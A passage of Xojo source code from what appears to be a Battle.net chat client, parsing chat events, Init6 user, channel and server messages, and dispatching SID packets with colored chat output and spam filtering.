"CHAT: User ", Colors.Teal, username, _ Colors.Cyan, " now has ", Colors.Teal, "UDP support", Colors.Cyan, "." ) End If If BitAnd( oldFlags, &H20) > 0 And BitAnd( flags, &H20) = 0 Then Sock.Config.AddChat( True, Colors.Cyan, "CHAT: User ", Colors.Teal, username, _ Colors.Cyan, " is no longer ", Colors.Red, "squelched", Colors.Cyan, "." ) End If If BitAnd( oldFlags, &H40) > 0 And BitAnd( flags, &H40) = 0 Then Sock.Config.AddChat( True, Colors.Cyan, "CHAT: User ", Colors.Teal, username, _ Colors.Cyan, " is no longer a ", Colors.Pink, "guest", Colors.Cyan, "." ) End If End If If MainWindow.GetSelectedConfig() = Sock.Config Then Sock.Config.Container.lstUsersTimer.Reset() Case 3 // EID_USERLEAVE Dim username As String = NthFieldB( msgArgs, " ", 1 ) Dim flagsStr As String = NthFieldB( msgArgs, " ", 2 ) Dim flags As UInt32 = Val( "&H" + flagsStr ) If Sock.ChannelUsers.HasKey( username ) = True Then Sock.ChannelUsers.Remove( username ) If Sock.Config.ShowJoinLeaveMessages = True Then Sock.Config.AddChat( True, Colors.FireBrick, "-- ", Colors.Crimson, username, Colors.FireBrick, " left the channel" ) End If If MainWindow.GetSelectedConfig() = Sock.Config Then Sock.Config.Container.lstUsersTimer.Reset() End If Case 4 // EID_WHISPERFROM Dim username As String = NthField( msgArgs, " ", 1 ) Dim flagsStr As String = NthField( msgArgs, " ", 2 ) Dim flags As UInt32 = Val( "&H" + flagsStr ) Dim x As Integer = Len( username + flagsStr ) + 2 Dim text As String = Mid( msgArgs, x + 2, Len( msgArgs ) - x - 2 ) If Sock.Config.EnableUTF8 = True Then text = DefineEncoding( text, Encodings.UTF8 ) dTmp = Sock.ChannelUsers.Lookup( username, Nil ) If dTmp <> Nil Then dTmp.Value( "LastMessageTime" ) = Microseconds() dTmp.Value( "LastMessageType" ) = msgIdVal dTmp.Value( "LastMessage" ) = Text End If If BitAnd( flags, &H20 ) <= 0 Then Globals.DesktopNotification( "Whisper received from " + username, text, 0 ) If MainWindow.IsConfigSelected( Sock.Config ) = False Then Sock.Config.CacheChatMention = True Sock.Config.Container.lstUsersTimer.Reset() End If Sock.Config.AddChat( True, Colors.GoldenRod, "From ", Colors.Gold, username, Colors.GoldenRod, ": ", Colors.SlateGray, text ) End If Case 5, 23 // EID_TALK, EID_EMOTE Dim username As String = NthField( msgArgs, " ", 1 ) Dim flagsStr As String = NthField( msgArgs, " ", 2 ) Dim flags As UInt32 = Val( "&H" + flagsStr ) Dim x As Integer = Len( username + flagsStr ) + 2 Dim text As String = Mid( msgArgs, x + 2, Len( msgArgs ) - x - 2 ) If Sock.Config.SpamPrevention = True Then dTmp = Sock.ChannelUsers.Lookup( username, Nil ) bTmp = ( Sock.Config.SpamPrevention = True And dTmp <> Nil And dTmp.Value( "TimeEntered" ).DoubleValue + 400000 > Microseconds() ) // If bTmp = True then they are talking at most 0.4 seconds after entering. If dTmp <> Nil Then If bTmp = False And Sock.Config.SpamPrevention = True And Text = dTmp.Value( "LastMessage" ) Then bTmp = True dTmp.Value( "LastMessageTime" ) = Microseconds() dTmp.Value( "LastMessageType" ) = msgIdVal dTmp.Value( "LastMessage" ) = text End If // If bTmp = True now then they may also be repeating their message. If bTmp = False And Globals.MessageBlacklistMatch( text ) = True Then bTmp = True // If bTmp = True now then the message may even also be on the blacklist If BitAnd( flags, &H20 ) <= 0 And bTmp = False Then If BitAnd( flags, &H09 ) > 0 Then If msgIdVal = 5 Then colorA = Colors.Teal colorB = Colors.Cyan colorC = Colors.Cyan ElseIf msgIdVal = 23 Then colorA = Colors.GoldenRod colorB = Colors.Cyan colorC = Colors.GoldenRod End If ElseIf BitAnd( flags, &H02 ) > 0 Then If msgIdVal = 5 Then colorA = Colors.Silver colorB = Colors.White colorC = Colors.White ElseIf msgIdVal = 23 Then colorA = Colors.Silver colorB = Colors.White colorC = Colors.Silver End If ElseIf msgIdVal = 23 And username = Sock.UniqueName Then colorA = Colors.MediumOrchid colorB = Colors.MediumVioletRed colorC = Colors.MediumOrchid Else If msgIdVal = 5 Then colorA = Colors.GoldenRod colorB = Colors.Gold If BitAnd( flags, &H04 ) > 0 Then colorC = Colors.Yellow Else colorC = Colors.White ElseIf msgIdVal = 23 Then colorA = Colors.GoldenRod colorB = Colors.Gold colorC = Colors.GoldenRod End If End If If InStr( text, Sock.UniqueName ) > 0 Or InStr( text, Sock.AccountName ) > 0 Then Globals.DesktopNotification( "Mentioned by " + username, text, 0 ) If MainWindow.IsConfigSelected( Sock.Config ) = False Then Sock.Config.CacheChatMention = True Sock.Config.Container.lstUsersTimer.Reset() End If End If If msgIdVal = 5 Then Sock.Config.AddChat( True, colorB, username, colorA, ": ", colorC, text ) ElseIf msgIdVal = 23 Then Sock.Config.AddChat( True, colorA, "-- ", colorB, username, colorA, " ", colorC, text ) End If End If If MainWindow.GetSelectedConfig() = Sock.Config And _ Sock.Config.Container.lstUsers_View = ChatContainer.lstUsers_View_Channel_Activity Then _ Sock.Config.Container.lstUsersTimer.Reset() Case 6 // EID_BROADCAST Sock.Config.AddChat( True, Colors.Cyan, "Server broadcast: ", Colors.Silver, Mid( msgArgs, 2, Len( msgArgs ) - 2 )) Case 7 // EID_CHANNEL Dim reverseStr As String = ReverseString( msgArgs ) Dim indexQuote As Integer = InStr( reverseStr, """" ) Sock.ChannelName = Mid( msgArgs, 2, Len( msgArgs ) - indexQuote - 1 ) Sock.ChannelFlags = Val( Right( msgArgs, Len( msgArgs ) - Len( Sock.ChannelName ) + 2 ) ) Sock.ChannelUsers.Clear() If MainWindow.GetSelectedConfig() = Sock.Config Then _ Sock.Config.Container.lstUsers_View = Sock.Config.Container.lstUsers_View Sock.Config.AddChat( True, Colors.LightSeaGreen, "-- Entered channel: ", Colors.Aquamarine, Sock.ChannelName, _ Colors.SlateGray, " (" + Globals.SChannelFlags( Sock.ChannelFlags ) + ")" ) Case 10 // EID_WHISPERTO Dim username As String Dim flagsStr As String If Left( msgArgs, 12 ) = "your friends" Then username = NthField( msgArgs, " ", 1 ) + " " + NthField( msgArgs, " ", 2 ) flagsStr = NthField( msgArgs, " ", 3 ) Else username = NthField( msgArgs, " ", 1 ) flagsStr = NthField( msgArgs, " ", 2 ) End If Dim x As Integer = Len( username + flagsStr ) + 2 Dim flags As UInt32 = Val( "&H" + flagsStr ) Dim text As String = Mid( msgArgs, x + 2, Len( msgArgs ) - x - 2 ) If Sock.Config.EnableUTF8 = True Then text = DefineEncoding( text, Encodings.UTF8 ) dTmp = Sock.ChannelUsers.Lookup( username, Nil ) If dTmp <> Nil Then dTmp.Value( "LastMessageTime" ) = Microseconds() dTmp.Value( "LastMessageType" ) = msgIdVal dTmp.Value( "LastMessage" ) = Text End If If BitAnd( flags, &H20 ) <= 0 Then Sock.Config.AddChat( True, Colors.MediumVioletRed, "To ", Colors.MediumOrchid, username, Colors.MediumVioletRed, ": ", Colors.SlateGray, text ) End If Case 13 // EID_CHANNELFULL Dim channelName As String = Mid( msgArgs, 2, Len( msgArgs ) - 2 ) Sock.Config.AddChat( True, Colors.FireBrick, "CHAT: The channel ", Colors.Crimson, channelName, Colors.FireBrick, " is full." ) Case 14 // EID_CHANNELEMPTY Dim channelName As String = Mid( msgArgs, 2, Len( msgArgs ) - 2 ) Sock.Config.AddChat( True, Colors.FireBrick, "CHAT: The channel ", Colors.Crimson, channelName, Colors.FireBrick, " is empty", _ Colors.GoldenRod, "; attempting join...") Sock.Send( "/join " + channelName + EndOfLine ) Case 15 // EID_CHANNELRESTRICTED Dim channelName As String = Mid( msgArgs, 2, Len( msgArgs ) - 2 ) Sock.Config.AddChat( True, Colors.FireBrick, "CHAT: The channel ", Colors.Crimson, channelName, Colors.FireBrick, " is restricted." ) Case 18 // EID_INFO If Sock.Config.IgnoreBanKickUnban = True And _ ( InStr( msgArgs, "was unbanned by" ) > 0 Or _ InStr( msgArgs, "was banned by" ) > 0 Or _ InStr( msgArgs, "was kicked out of the channel by" ) > 0 ) Then bTmp = False ElseIf Sock.Config.ShowUserUpdateMessages = True And _ ( Right( msgArgs, Len( " has been squelched." )) = " has been squelched." Or _ Right( msgArgs, Len( " has been unsquelched." )) = " has been unsquelched." ) Then bTmp = False Else bTmp = True End If If bTmp = True Then Sock.Config.AddChat( True, Colors.GoldenRod, Mid( msgArgs, 2, Len( msgArgs ) - 2 )) End If If Sock.Config.AutoRejoinWhenKicked = True And LenB( Sock.ChannelName ) > 0 And _ Right( msgArgs, Len( "kicked you out of the channel!" )) = "kicked you out of the channel!" Then _ Sock.Send( "/join " + Sock.ChannelName + EndOfLine ) Case 19 // EID_ERROR Sock.Config.AddChat( True, Colors.FireBrick, Mid( msgArgs, 2, Len( msgArgs ) - 2 )) Case Else Sock.Config.AddChat( True, Colors.DarkRed, "Unknown Chat event: ", Colors.Red, Line ) End Select ElseIf msgIdVal >= 2000 And msgIdVal < 2256 Then // SID-style messages msgIdVal = msgIdVal - 2000 Select Case msgIdVal Case Packets.SID_NULL Sock.Send( "/unignore " + Sock.UniqueName + EndOfLine ) Case Packets.SID_ENTERCHAT Sock.AccountName = Sock.Config.Username Sock.UniqueName = NthField( msgArgs, " ", 1 ) Sock.Config.Container.lstUsers_View = Sock.Config.Container.lstUsers_View Sock.Config.AddChat( True, Colors.Cyan, "CHAT: Logged on as ", Colors.Teal, Sock.UniqueName, Colors.Cyan, "!" ) Case Else Sock.Config.AddChat( True, Colors.DarkRed, "Unknown Chat protocol message: ", Colors.Red, Line ) End Select Else Sock.Config.AddChat( True, Colors.DarkRed, "Unknown Chat protocol message: ", Colors.Red, Line ) End If Case Else Dim e As New RuntimeException() e.Message = "Unknown Chat protocol transaction id: " + Format( Sock.ChatProtoTxnId, "-#" ) Raise e End Select Return True End Function #tag EndMethod #tag Method, Flags = &h1 Protected Function ParseInit6(Sock As BNETSocket, Line As String) As Boolean If Sock = Nil Then Return False If Sock.IsConnected = False Then Return False If Sock.Config = Nil Then Return False If Sock.Config.VerbosePackets = True Then _ Sock.Config.AddChat(True, Colors.Yellow, "RECV INIT6 " + Line) Select Case Sock.Init6TransactionId Case Sock.Init6TransactionLoggingIn Dim fields() As String = Split(Line, " ") Dim pktName As String = fields(0) fields.Remove(0) Select Case pktName Case "OK" // Init6 protocol does not support non-unique names online. Sock.AccountName = Sock.Username Sock.UniqueName = Sock.Username // We're logged on, all further packets go under a different parse route. Sock.Init6TransactionId = Sock.Init6TransactionChatting Sock.Config.Container.lstUsers_View = Sock.Config.Container.lstUsers_View Sock.Config.AddChat(True, Colors.Cyan, "INIT6: Logged on as ", Colors.Teal, Sock.UniqueName, Colors.Cyan, "!") Case "FAIL" Sock.Config.AddChat(True, Colors.Red, "INIT6: Login failure: " + Join(fields, " ")) Sock.DoDisconnect(False) Return False Case Else Sock.Config.AddChat(True, Colors.Red, "INIT6: Protocol error: unknown message received:") Sock.Config.AddChat(True, Colors.Salmon, Line) End Select Case Sock.Init6TransactionChatting Select Case NthField(Line, " ", 1) Case "PING" Sock.Send("/PONG " + Mid(Line, 6) + EndOfLine.Windows) Case "USER" Return Packets.ParseInit6User(Sock, Mid(Line, 6)) Case "CHANNEL" Return Packets.ParseInit6Channel(Sock, Mid(Line, 9)) Case "SERVER" Return Packets.ParseInit6Server(Sock, Mid(Line, 8)) Case Else Sock.Config.AddChat(True, Colors.Red, "INIT6: Protocol error: unknown type of message received:") Sock.Config.AddChat(True, Colors.Salmon, Line) End Select Case Else Dim e As New RuntimeException() e.Message = "Unknown Init6 transaction id: " + Format(Sock.Init6TransactionId, "-#") Raise e End Select Return True End Function #tag EndMethod #tag Method, Flags = &h1 Protected Function ParseInit6Channel(Sock As BNETSocket, Data As String) As Boolean If Sock = Nil Then Return False If Sock.IsConnected = False Then Return False If Sock.Config = Nil Then Return False If Sock.Config.VerbosePackets = True Then _ Sock.Config.AddChat(True, Colors.Yellow, "RECV INIT6 CHANNEL " + Data) Dim fields() As String = Split(Data, " ") Dim msgName As String = fields(0) fields.Remove(0) // A timer on the MainWindow delays the users list redraw a tiny bit so that it doesn't lag so much. // The lag is caused by the code updating the list N*N times, therefore causing a small (<50ms) pause. // Delaying it until "after everything is done" reverses this to just N*1 times. // How much time to wait is determined by the lstUsersTimer's Period on MainWindow. // A significant performance increase is seen when the Period is 100ms. If MainWindow.IsConfigSelected(Sock.Config) = False Then Sock.Config.CacheChatUnread = True Sock.Config.Container.lstUsersTimer.Reset() End If Select Case msgName Case "JOIN" fields.Remove(0) // Padding fields.Remove(0) // Padding Dim Flags As UInt32 = Val(fields(0)) fields.Remove(0) Dim Text As String = Join(fields, " ") Sock.ChannelFlags = Flags Sock.ChannelName = Text Sock.ChannelUsers.Clear() If MainWindow.GetSelectedConfig() = Sock.Config Then Sock.Config.Container.lstUsers_View = Sock.Config.Container.lstUsers_View Sock.Config.AddChat(True, Colors.LightSeaGreen, "-- Entered channel: ", Colors.Aquamarine, Sock.ChannelName, _ Colors.SlateGray, " (" + Globals.SChannelFlags(Sock.ChannelFlags) + ")") Case "TOPIC" Sock.Config.AddChat(True, Colors.GoldenRod, Join(fields, " ")) Case Else Sock.Config.AddChat(True, Colors.Red, "INIT6: Protocol error: unknown channel message received:") Sock.Config.AddChat(True, Colors.Salmon, Data) End Select Return True End Function #tag EndMethod #tag Method, Flags = &h1 Protected Function ParseInit6Server(Sock As BNETSocket, Data As String) As Boolean If Sock = Nil Then Return False If Sock.IsConnected = False Then Return False If Sock.Config = Nil Then Return False If Sock.Config.VerbosePackets = True Then _ Sock.Config.AddChat(True, Colors.Yellow, "RECV INIT6 SERVER " + Data) Dim fields() As String = Split(Data, " ") Dim msgName As String = fields(0) fields.Remove(0) // A timer on the MainWindow delays the users list redraw a tiny bit so that it doesn't lag so much. // The lag is caused by the code updating the list N*N times, therefore causing a small (<50ms) pause. // Delaying it until "after everything is done" reverses this to just N*1 times. // How much time to wait is determined by the lstUsersTimer's Period on MainWindow. // A significant performance increase is seen when the Period is 100ms. If MainWindow.IsConfigSelected(Sock.Config) = False Then Sock.Config.CacheChatUnread = True Sock.Config.Container.lstUsersTimer.Reset() End If Select Case msgName Case "INFO", "TOPIC" fields.Remove(0) // Padding fields.Remove(0) // Padding fields.Remove(0) // Padding Dim Text As String = Join(fields, " ") Sock.Config.AddChat(True, Colors.GoldenRod, Text) Case "ERROR" fields.Remove(0) // Padding fields.Remove(0) // Padding fields.Remove(0) // Padding Dim Text As String = Join(fields, " ") Sock.Config.AddChat(True, Colors.FireBrick, Text) Case "BROADCAST", "UPDATE" fields.Remove(0) // Padding fields.Remove(0) // Padding Dim Username As String = fields(0) fields.Remove(0) Dim Text As String = Join(fields, " ") If Len(Username) > 0 Then Sock.Config.AddChat(True, Colors.Cyan, "Server " + Titlecase(msgName) + " from ", Colors.Teal, Username, _ Colors.Cyan, ": ", Colors.Silver, Text) Else Sock.Config.AddChat(True, Colors.Cyan, "Server " + Titlecase(msgName) + ": ", Colors.Silver, Text) End If Case Else Sock.Config.AddChat(True, Colors.Red, "INIT6: Protocol error: unknown server message received:") Sock.Config.AddChat(True, Colors.Salmon, Data) End Select Return True End Function #tag EndMethod #tag Method, Flags = &h1 Protected Function ParseInit6User(Sock As BNETSocket, Data As String) As Boolean If Sock = Nil Then Return False If Sock.IsConnected = False Then Return False If Sock.Config = Nil Then Return False If Sock.Config.VerbosePackets = True Then _ Sock.Config.AddChat(True, Colors.Yellow, "RECV INIT6 USER " + Data) Dim bTmp As Boolean Dim dTmp As Dictionary Dim fields() As String = Split(Data, " ") Dim colorA, colorB, colorC As Color Dim msgName As String = fields(0) fields.Remove(0) // A timer on the MainWindow delays the users list redraw a tiny bit so that it doesn't lag so much. // The lag is caused by the code updating the list N*N times, therefore causing a small (<50ms) pause. // Delaying it until "after everything is done" reverses this to just N*1 times. // How much time to wait is determined by the lstUsersTimer's Period on MainWindow. // A significant performance increase is seen when the Period is 100ms. If MainWindow.IsConfigSelected(Sock.Config) = False And msgName <> "UPDATE" Then Sock.Config.CacheChatUnread = True Sock.Config.Container.lstUsersTimer.Reset() End If Select Case msgName Case "IN", "JOIN", "UPDATE" fields.Remove(0) // Padding fields.Remove(0) // Padding Dim Flags As UInt32 = Val(fields(0)) fields.Remove(0) Dim Ping As Integer = Val(fields(0)) fields.Remove(0) Dim Username As String = fields(0) fields.Remove(0) Dim Text As String = Join(fields, " ") If Username = Sock.UniqueName Then Sock.Flags = Flags Sock.Ping = Ping Sock.Statstring = Text End If If Sock.ChannelUsers.HasKey(Username) = True Then dTmp = Sock.ChannelUsers.Value(Username) dTmp.Value("Username") = Username dTmp.Value("FlagsOld") = dTmp.Value("Flags") dTmp.Value("Flags") = Flags dTmp.Value("Ping") = Ping If LenB(Text) > 0 Then dTmp.Value("Statstring") = Text dTmp.Value("LastMessageTime") = Microseconds() dTmp.Value("LastMessageType") = msgName dTmp.Value("LastMessage") = "" Else dTmp = New Dictionary() dTmp.Value("Username") = Username dTmp.Value("FlagsOld") = Flags dTmp.Value("Flags") = Flags dTmp.Value("Ping") = Ping dTmp.Value("Statstring") = Text dTmp.Value("LastMessageTime") = Microseconds() dTmp.Value("LastMessageType") = msgName dTmp.Value("LastMessage") = "" dTmp.Value("TimeEntered") = Microseconds() Sock.ChannelUsers.Value(Username) = dTmp If msgName = "JOIN" And Sock.Config.ShowJoinLeaveMessages = True Then Sock.Config.AddChat(True, Colors.DarkSeaGreen, "-- ", _ Colors.LightSeaGreen, Username, _ Colors.DarkSeaGreen, " joined the channel using ", _ Colors.LightSeaGreen, Globals.ProductName(MemClass.ReadDWORD(Text, 1, True), False)) End If End If Dim OldFlags As UInt32 = dTmp.Value("FlagsOld").Int32Value If Sock.Config.ShowUserUpdateMessages = True And Flags <> OldFlags Then If MainWindow.IsConfigSelected(Sock.Config) = False And msgName = "UPDATE" Then Sock.Config.CacheChatUnread = True Sock.Config.Container.lstUsersTimer.Reset() End If If BitAnd(OldFlags, &H01) = 0 And BitAnd(Flags, &H01) > 0 Then Sock.Config.AddChat(True, Colors.Cyan, "INIT6: User ", _ Colors.Teal, Username, _ Colors.Cyan, " is now a ", _ Colors.LightSkyBlue, "Blizzard representative", _ Colors.Cyan, ".") End If If BitAnd(OldFlags, &H02) = 0 And BitAnd(Flags, &H02) > 0 Then Sock.Config.AddChat(True, Colors.Cyan, "INIT6: User ", Colors.Teal, Username, _ Colors.Cyan, " is now a ", Colors.White, "channel operator", Colors.Cyan, ".") End If If BitAnd(OldFlags, &H04) = 0 And BitAnd(Flags, &H04) > 0 Then Sock.Config.AddChat(True, Colors.Cyan, "INIT6: User ", Colors.Teal, Username, _ Colors.Cyan, " is now a ", Colors.Yellow, "channel speaker", Colors.Cyan, ".") End If If BitAnd(OldFlags, &H08) = 0 And BitAnd(Flags, &H08) > 0 Then Sock.Config.AddChat(True, Colors.Cyan, "INIT6: User ", Colors.Teal, Username, _ Colors.Cyan, " is now a ", Colors.LightSeaGreen, "Battle.net administrator", Colors.Cyan, ".") End If If BitAnd(OldFlags, &H10) = 0 And BitAnd(Flags, &H10) > 0 Then Sock.Config.AddChat(True, Colors.Cyan, "INIT6: User ", Colors.Teal, Username, _ Colors.Cyan, " no longer has ", Colors.Teal, "UDP support", Colors.Cyan, ".") End If If BitAnd(OldFlags, &H20) = 0 And BitAnd(Flags, &H20) > 0 Then Sock.Config.AddChat(True, Colors.Cyan, "INIT6: User ", Colors.Teal, Username, _ Colors.Cyan, " is now ", Colors.Red, "squelched", Colors.Cyan, ".") End If If BitAnd(OldFlags, &H40) = 0 And BitAnd(Flags, &H40) > 0 Then Sock.Config.AddChat(True, Colors.Cyan, "INIT6: User ", Colors.Teal, Username, _ Colors.Cyan, " is now a ", Colors.Pink, "guest", Colors.Cyan, ".") End If If BitAnd(OldFlags, &H01) > 0 And BitAnd(Flags, &H01) = 0 Then Sock.Config.AddChat(True, Colors.Cyan, "INIT6: User ", Colors.Teal, Username, _ Colors.Cyan, " is no longer a ", Colors.LightSkyBlue, "Blizzard representative", Colors.Cyan, ".") End If If BitAnd(OldFlags, &H02) > 0 And BitAnd(Flags, &H02) = 0 Then Sock.Config.AddChat(True, Colors.Cyan, "INIT6: User ", Colors.Teal, Username, _ Colors.Cyan, " is no longer a ", Colors.White, "channel operator", Colors.Cyan, ".") End If If BitAnd(OldFlags, &H04) > 0 And BitAnd(Flags, &H04) = 0 Then Sock.Config.AddChat(True, Colors.Cyan, "INIT6: User ", Colors.Teal, Username, _ Colors.Cyan, " is no longer a ", Colors.Yellow, "channel speaker", Colors.Cyan, ".") End If If BitAnd(OldFlags, &H08) > 0 And BitAnd(Flags, &H08) = 0 Then Sock.Config.AddChat(True, Colors.Cyan, "INIT6: User ", Colors.Teal, Username, _ Colors.Cyan, " is no longer a ", Colors.LightSeaGreen, "Battle.net administrator", Colors.Cyan, ".") End If If BitAnd(OldFlags, &H10) > 0 And BitAnd(Flags, &H10) = 0 Then Sock.Config.AddChat(True, Colors.Cyan, "INIT6: User ", Colors.Teal, Username, _ Colors.Cyan, " now has ", Colors.Teal, "UDP support", Colors.Cyan, ".") End If If BitAnd(OldFlags, &H20) > 0 And BitAnd(Flags, &H20) = 0 Then Sock.Config.AddChat(True, Colors.Cyan, "INIT6: User ", Colors.Teal, Username, _ Colors.Cyan, " is no longer ", Colors.Red, "squelched", Colors.Cyan, ".") End If If BitAnd(OldFlags, &H40) > 0 And BitAnd(Flags, &H40) = 0 Then Sock.Config.AddChat(True, Colors.Cyan, "INIT6: User ", Colors.Teal, Username, _ Colors.Cyan, " is no longer a ", Colors.Pink, "guest", Colors.Cyan, ".") End If End If If MainWindow.GetSelectedConfig() = Sock.Config Then Sock.Config.Container.lstUsersTimer.Reset() Case "LEAVE" fields.Remove(0) // Padding fields.Remove(0) // Padding fields.Remove(0) // Padding fields.Remove(0) // Padding Dim Username As String = fields(0) fields.Remove(0) If Sock.ChannelUsers.HasKey(Username) = True Then Sock.ChannelUsers.Remove(Username) If Sock.Config.ShowJoinLeaveMessages = True Then Sock.Config.AddChat(True, Colors.FireBrick, "-- ", Colors.Crimson, Username, Colors.FireBrick, " left the channel") End If If MainWindow.GetSelectedConfig() = Sock.Config Then Sock.Config.Container.lstUsersTimer.Reset() End If Case "WHISPER" Dim Direction As String = fields(0) fields.Remove(0) fields.Remove(0) // Padding fields.Remove(0) // Padding fields.Remove(0) // Padding Dim Username As String = fields(0) fields.Remove(0) Dim Text As String = Join(fields, " ") If Sock.Config.EnableUTF8 = True Then Text = DefineEncoding(Text, Encodings.UTF8) dTmp = Sock.ChannelUsers.Lookup(Username, Nil) If dTmp <> Nil Then dTmp.Value("LastMessageTime") = Microseconds() dTmp.Value("LastMessageType") = msgName dTmp.Value("LastMessage") = Text End If Dim Flags As UInt32 = 0 If dTmp <> Nil Then Flags = dTmp.Value("Flags") If BitAnd(Flags, &H20) <= 0 Then If Direction = "TO" Then Sock.Config.AddChat(True, Colors.MediumVioletRed, "To ", Colors.MediumOrchid, Username, Colors.MediumVioletRed, ": ", Colors.SlateGray, Text) ElseIf Direction = "FROM" Then Globals.DesktopNotification("Whisper received from " + Username, Text, 0) If MainWindow.IsConfigSelected(Sock.Config) = False Then Sock.Config.CacheChatMention = True Sock.Config.Container.lstUsersTimer.Reset() End If Sock.Config.AddChat(True, Colors.GoldenRod, "From ", Colors.Gold, Username, Colors.GoldenRod, ": ", Colors.SlateGray, Text) Else Sock.Config.AddChat(True, Colors.Gray, "<" + Direction + ": " + Username + "> " + Text) End If End If Case "TALK", "EMOTE" Dim Direction As String = fields(0) fields.Remove(0) fields.Remove(0) // Padding fields.Remove(0) // Padding fields.Remove(0) // Padding Dim Username As String = fields(0) fields.Remove(0) Dim Text As String = Join(fields, " ") If Sock.Config.EnableUTF8 = True Then Text = DefineEncoding(Text, Encodings.UTF8) If Sock.Config.SpamPrevention = True Then dTmp = Sock.ChannelUsers.Lookup(Username, Nil) bTmp = (Sock.Config.SpamPrevention = True And dTmp <> Nil And dTmp.Value("TimeEntered").DoubleValue + 400000 > Microseconds()) // If bTmp = True then they are talking at most 0.4 seconds after entering. If dTmp <> Nil Then If bTmp = False And Sock.Config.SpamPrevention = True And Text = dTmp.Value("LastMessage") Then bTmp = True dTmp.Value("LastMessageTime") = Microseconds() dTmp.Value("LastMessageType") = msgName dTmp.Value("LastMessage") = Text End If // If bTmp = True now then they may also be repeating their message. If bTmp = False And Globals.MessageBlacklistMatch(Text) = True Then bTmp = True // If bTmp = True now then the message may even also be on the blacklist Dim Flags As UInt32 = 0 If dTmp <> Nil Then Flags = dTmp.Value("Flags") If BitAnd(Flags, &H20) <= 0 And bTmp = False Then If msgName = "TALK" Then If Direction = "TO" Then colorA = Colors.MediumOrchid colorB = Colors.MediumVioletRed colorC = Colors.White ElseIf BitAnd(Flags, &H09) > 0 Then colorA = Colors.Teal colorB = Colors.Cyan colorC = Colors.Cyan ElseIf BitAnd(Flags, &H02) > 0 Then colorA = Colors.Silver colorB = Colors.White colorC = Colors.White Else colorA = Colors.GoldenRod colorB = Colors.Gold If BitAnd(Flags, &H04) > 0 Then colorC = Colors.Yellow Else colorC = Colors.White End If ElseIf msgName = "EMOTE" Then If Username = Sock.UniqueName Then colorA = Colors.MediumOrchid colorB = Colors.MediumVioletRed colorC = Colors.MediumOrchid ElseIf BitAnd(Flags, &H09) > 0 Then colorA = Colors.GoldenRod colorB = Colors.Cyan colorC = Colors.GoldenRod ElseIf BitAnd(Flags, &H02) > 0 Then colorA = Colors.Silver colorB = Colors.White colorC = Colors.Silver Else colorA = Colors.GoldenRod colorB = Colors.Gold colorC = Colors.GoldenRod End If End If If InStr(Text, Sock.UniqueName) > 0 Or InStr(Text, Sock.AccountName) > 0 Then Globals.DesktopNotification("Mentioned by " + Username, Text, 0) If MainWindow.IsConfigSelected(Sock.Config) = False Then Sock.Config.CacheChatMention = True Sock.Config.Container.lstUsersTimer.Reset() End If End If If msgName = "TALK" Then Sock.Config.AddChat(True, colorB, Username, colorA, ": ", colorC, Text) ElseIf msgName = "EMOTE" Then Sock.Config.AddChat(True, colorA, "-- ", colorB, Username, colorA, " ", colorC, Text) End If End If If MainWindow.GetSelectedConfig() = Sock.Config And _ Sock.Config.Container.lstUsers_View = ChatContainer.lstUsers_View_Channel_Activity Then _ Sock.Config.Container.lstUsersTimer.Reset() Case Else Sock.Config.AddChat(True, Colors.Red, "INIT6: Protocol error: unknown user message received:") Sock.Config.AddChat(True, Colors.Salmon, Data) End Select Return True End Function #tag EndMethod #tag Method, Flags = &h1 Protected Function ParseSID(Sock As BNETSocket, PktID As Byte, PktData As String, PktFull As String) As Boolean If Sock = Nil Then Return False If Sock.IsConnected = False Then Return False If Sock.Config = Nil Then Return False If Sock.Config.VerbosePackets = True Then _ Sock.Config.AddChat(True, Colors.Yellow, "RECV SID_0x" + Right("00" + Hex(PktID), 2) + _ " (Bytes: " + Str(4 + LenB(PktData)) + ")" + EndOfLine) Dim ret As Boolean = True Select Case PktID Case Packets.SID_NULL ret = Packets.ParseSID_NULL(Sock, PktData) Case Packets.SID_ENTERCHAT ret = Packets.ParseSID_ENTERCHAT(Sock, PktData) Case Packets.SID_GETCHANNELLIST ret = Packets.ParseSID_GETCHANNELLIST(Sock, PktData) Case Packets.SID_CHATEVENT ret = Packets.ParseSID_CHATEVENT(Sock, PktData) Case Packets.SID_FLOODDETECTED ret = Packets.ParseSID_FLOODDETECTED(Sock, PktData) Case Packets.SID_CHECKAD ret = Packets.ParseSID_CHECKAD(Sock, PktData) Case Packets.SID_MESSAGEBOX ret = Packets.ParseSID_MESSAGEBOX(Sock, PktData) Case Packets.SID_PING ret = Packets.ParseSID_PING(Sock, PktData) Case Packets.SID_READUSERDATA ret = Packets.ParseSID_READUSERDATA(Sock, PktData) Case Packets.SID_GETFILETIME ret = Packets.ParseSID_GETFILETIME(Sock, PktData) Case Packets.SID_LOGONRESPONSE2 ret = Packets.ParseSID_LOGONRESPONSE2(Sock, PktData) Case Packets.SID_CREATEACCOUNT2 ret = Packets.ParseSID_CREATEACCOUNT2(Sock, PktData) Case Packets.SID_REQUIREDWORK ret = Packets.ParseSID_REQUIREDWORK(Sock, PktData) Case Packets.SID_AUTH_INFO ret = Packets.ParseSID_AUTH_INFO(Sock, PktData) Case Packets.SID_AUTH_CHECK ret = Packets.ParseSID_AUTH_CHECK(Sock, PktData) Case Packets.SID_AUTH_ACCOUNTCREATE ret = Packets.ParseSID_AUTH_ACCOUNTCREATE(Sock, PktData) Case Packets.SID_AUTH_ACCOUNTLOGON ret = Packets.ParseSID_AUTH_ACCOUNTLOGON(Sock, PktData) Case Packets.SID_AUTH_ACCOUNTLOGONPROOF ret = Packets.ParseSID_AUTH_ACCOUNTLOGONPROOF(Sock, PktData) Case Packets.SID_SETEMAIL ret = Packets.ParseSID_SETEMAIL(Sock, PktData) Case Packets.SID_FRIENDSLIST ret = Packets.ParseSID_FRIENDSLIST(Sock, PktData) Case Packets.SID_FRIENDSUPDATE ret = Packets.ParseSID_FRIENDSUPDATE(Sock, PktData) Case Packets.SID_FRIENDSADD ret = Packets.ParseSID_FRIENDSADD(Sock, PktData) Case Packets.SID_FRIENDSREMOVE ret = Packets.ParseSID_FRIENDSREMOVE(Sock, PktData) Case Packets.SID_FRIENDSPOSITION ret = Packets.ParseSID_FRIENDSPOSITION(Sock, PktData) Case Packets.SID_CLANCREATIONINVITATION ret = Packets.ParseSID_CLANCREATIONINVITATION(Sock, PktData) Case Packets.SID_CLANDISBAND ret = Packets.ParseSID_CLANDISBAND(Sock, PktData) Case Packets.SID_CLANINFO ret = Packets.ParseSID_CLANINFO(Sock, PktData) Case Packets.SID_CLANQUITNOTIFY ret = Packets.ParseSID_CLANQUITNOTIFY(Sock, PktData) 